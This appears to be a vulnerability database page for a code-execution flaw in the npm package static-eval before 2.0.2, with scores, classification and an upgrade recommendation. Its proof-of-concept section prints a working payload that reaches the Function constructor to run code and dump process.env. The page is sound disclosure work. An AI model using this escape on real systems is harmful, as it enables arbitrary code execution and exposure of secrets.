GHSA-x9hc-rw35-f44h json
Sandbox Breakout / Arbitrary Code Execution in static-eval
published 6y ago modified 5y ago
- cvss
- 7.3
- version 3.1, GitHub
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
Versions of `static-eval`prior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
## Proof of concept ``` var evaluate = require('static-eval'); var parse = require('esprima').parse;
var src = process.argv[2]; var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()' var ast = parse(payload).body[0].expression; console.log(evaluate(ast, {x:1})); ```
## Recommendation
Upgrade to version 2.0.2 or later.
Patch / fix
- npm static-eval 2.0.2
Is GHSA-x9hc-rw35-f44h in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerCVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| GitHub | 3.1 | 7.3 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| npm | static-eval | <2.0.2 |
2.0.2 |
Classification
- Weakness
-
- CWE-94 Improper Control of Generation of Code
References
Sources
- GitHub Advisory GHSA-x9hc-rw35-f44h
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.